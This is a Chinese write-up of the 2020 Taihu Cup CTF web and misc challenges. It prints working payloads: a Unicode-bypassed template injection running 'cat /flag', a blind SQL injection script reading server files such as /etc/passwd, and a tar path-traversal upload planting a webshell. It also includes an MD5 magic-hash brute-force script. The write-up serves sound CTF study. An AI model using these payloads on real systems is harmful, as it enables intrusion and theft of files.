0%

太湖杯 2020

复盘一下不久前的太湖杯的web&misc

web

checkInGame

进去之后是一个连连看的画面,倒计时40秒完成即可获得flag

image-20201108092621281

试了几次发现时间完全不够,当然连连看高手除外,正确做法是:

审查40这个元素打断点,然后把view.js里面那一句删除即可停止时间

image-20201108092959671

image-20201108092913542

慢慢连完即可得到flag

image-20201108092601380

easyWeb

进入题目界面如下

image-20201107211736799

随便抓个包发现是python

image-20201107211815382

知道大概是SSIT,但是过滤了{}

image-20201107211926347

在这个网站寻找绕过的Unicode字符,网址如下:传送门,直接在网址搜索{,就会出现类似的字符,就可以找到了。

1
︷︷config︸︸

成功回显

image-20201107233731092

接下来直接用常规的ssit的payload打一下即可,然后发现过滤了引号,用request.args绕一下即可。

payload如下:

1
%EF%B8%B7%EF%B8%B7().__class__.__bases__[0].__subclasses__()[375].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()%EF%B8%B8%EF%B8%B8

image-20201108093620236

除了上面的方法之外,还看到有师傅用Unicode字符绕过的

1
2
3
4
5
6
{	{
} }
[ [
] ]
' '
" "

payload如下

1
{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} 

image-20201109164326501

CrossFire

题目有给出两个hint

  • 存在注入点
  • 目录穿越

首先发现有一个id参数可以输入,但是输入1和0的回显不一样。

image-20201107221746512

image-20201107221800783

测试一下if语句行不行,发现可行,以此为基础写sql盲注脚本。

image-20201107221952821

image-20201107222008777

用祖传的二分法脚本跑一下,发现可以跑出数据库

image-20201107222255655

然后可以使用load_file函数去读他的一个源码,读取index.php。

image-20201107233227559

这里读取的时间有点点久,慢慢等就好了,这里贴一下index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<html>
<head>
<title></title>
<meta http-equiv="content-type" content="text/html;charset=utf-8" />
</head>
<body>
<h1></h1>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="submit" />
</form>
<?php
error_reporting(0);
session_start();
include('config.php');
$upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.html', '');
if(isset($_POST['submit'])) {
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800) {
die('upload error');
} else {
$filename=addslashes($_FILES['file']['name']);
$sql="insert into img (filename) values ('$filename')";
$conn->query($sql);
$sql="select id from img where filename='$filename'";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$id=$row["id"];
}
move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
header("Location: index.php?id=$id");
}
}
} elseif (isset($_GET['id'])) {
$id=addslashes($_GET['id']);
$sql="select filename from img where id=$id";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$filename=$row["filename"];
}
$img=$upload.'/'.$filename;
echo "<img src='$img'/>";
}
} elseif (isset($_POST['submit1'])) {
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800) {
die('upload error');
} else {
$filename=addslashes($_FILES['file']['name']);
move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
@exec("cd /tmp&&python3 /tar.py ".escapeshellarg('/var/www/html/'.$upload.'/'.$filename));
}
}
?>

<style>
body{
background:url(./back.jpg) no-repeat right -160px ;
background-size:90%;
background-attachment:fixed;
background-color: rgba(255, 255, 255, 0.8);
}
</style>
</body>
</html>

然后在index.php里面可以发现在根目录有tar.py,继续读取出来。

tar.py

1
2
3
4
import tarfile
import sys
tar = tarfile.open(sys.argv[1],"r")
tar.extractall()

很明显这是个解压文件的代码,根据题目的提示目录穿越。

在shell.php里面写入一句话木马,然后我们在本地压缩一个tar文件并加上目录穿越的路径。

1
tar cvf kawhi.tar ../../../var/www/html/upload/shell.php

image-20201114113110315

然后上传,在upload目录即可Getshell。

image-20201114113155483

连上蚁剑,最后在根目录下执行/readflag即可

image-20201114112544006

最后贴一下跑文件内容的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
import requests
def exp(pay):
url = "http://122.112.249.228:10080/index.php/?id=1+and+"
result = ""
for i in range(1, 30000):
high = 127
low = 32
mid = (low + high) / 2
while high > low:
payload = "if(ascii(substr("+pay+",%d,1))>%d,1,0)%%23"%(i,mid)
# print(url+payload)
response = requests.get(url+payload)

if "upload" in response.text :
low = mid + 1
else:
high = mid

mid = (low + high) / 2

result += chr(int(mid))
print(result)

# pay = 'database()'
# print('database:')
# print(exp(pay))
# pay = '(union select load_file(0x2f6574632f706173737764))'
# print('/etc/passwd:')
# print(exp(pay))
# pay = '(union select load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))'
# print('/var/www/html/index.php:')
# print(exp(pay))
# pay = '(union select load_file(0x2f7461722e7079))'
# print('/tar.py:')
# print(exp(pay))

ezMd5

首先F12之后看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>后宫管理系统登录</title>
</head>
<body>
<form name="login" action="" method="post">
<p>用户名<input type=text name="name"></p>
<p>密 码<input type=password name="password"></p>
<p><input type="submit" name="submit" value="登录">
</p>
<!--
$result = @auth($username,$password);
if (md5($username) == md5($result) and $result !== $username){
echo "bingo : <b>$flag</b>";
}
-->
</form>
</body>
</html>

关键提示如下

1
2
3
4
$result = @auth($username,$password);
if (md5($username) == md5($result) and $result !== $username){
echo "bingo : <b>$flag</b>";
}

只要符合这个if的条件就可以打印出flag了

这里可以给username赋值一个数值md5加密后是0e开头的,然后去爆破password的值,使得result的MD5值和username的MD5相等。

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://122.112.253.121:10032/"

for i in range(1,1000):
password = 'b' * i + 'QNKCDZO'
payload = {'name': '240610708', 'password': password}

response = requests.request("POST", url, data=payload)
if response.text.find('flag{') != -1:
print(response.text)

image-20201114122758555

虽然可以用这种方法做,但是感觉可能是非预期,但是本次比赛我并没有找到web的官方wp,也就不知道预期解是什么了。

misc

misc

hint:希尔密码->rabbit

首先题目给了一个压缩包:715e25aec2a24ac79ab6e74497cafb80.zip

直接解压的话会报错文件损坏,拉进010编辑器发现伪加密,把这个地方由09改为00

image-20201114165116000

然后再解压发现解压出两个文件分别为:fun.zipomisc.docx

打开omisc.docx

一般来说word文档先考虑下有没有隐藏文字,于是我们在选项中把隐藏文字打开

image-20201114165628922

然后发现多了如下两行

image-20201114165716474

发现是希尔加密,在线希尔加密地址:http://www.atoolbox.net/Tool.php?Id=914

解密后发现得到love and peaceee

image-20201114165904666

然后再用rabbit解密上面那一大段,密钥为love and peaceee

在线rabbit解密地址:https://www.sojson.com/encrypt_rabbit.html

image-20201114170253089

然后丢进CyberChef,点击小魔法棒,自动识别base32

CyberChef地址:https://gchq.github.io/CyberChef/

image-20201114170704683

然后就是很明显的Unicode编码,找个在线解密的试试看

在线解密Unicode地址:http://tool.chinaz.com/tools/unicode.aspx

image-20201114170852479

熟悉的佛曰加密,在线解密地址:http://hi.pcmoe.net/buddha.html

image-20201114172118786

然后用解密的内容作为密码解压fun.zip,解压后得到fun.wav,拖进Audicty之后

打开频谱图即可得到flag

image-20201114180815728

memory

hint:问windows动态链接库管家吧,他会告诉你answer

题目给了一个大小差不多是1G的名为dump的文件,老ctfer一看就知道是内存取证了

首先探测系统版本

1
volatility -f dump imageinfo

最后发现探测图片有一些信息

1
volatility -f dump --profile=Win7SP0x86 filescan | grep -E 'jpg|png|jpeg|bmp|gif'

然后dump下来

1
volatility -f dump --profile=Win7SP0x86 dumpfiles -Q 0x000000003fdf6118 --dump-dir=./

image-20201114201513903

打开即可发现flag

image-20201114201746390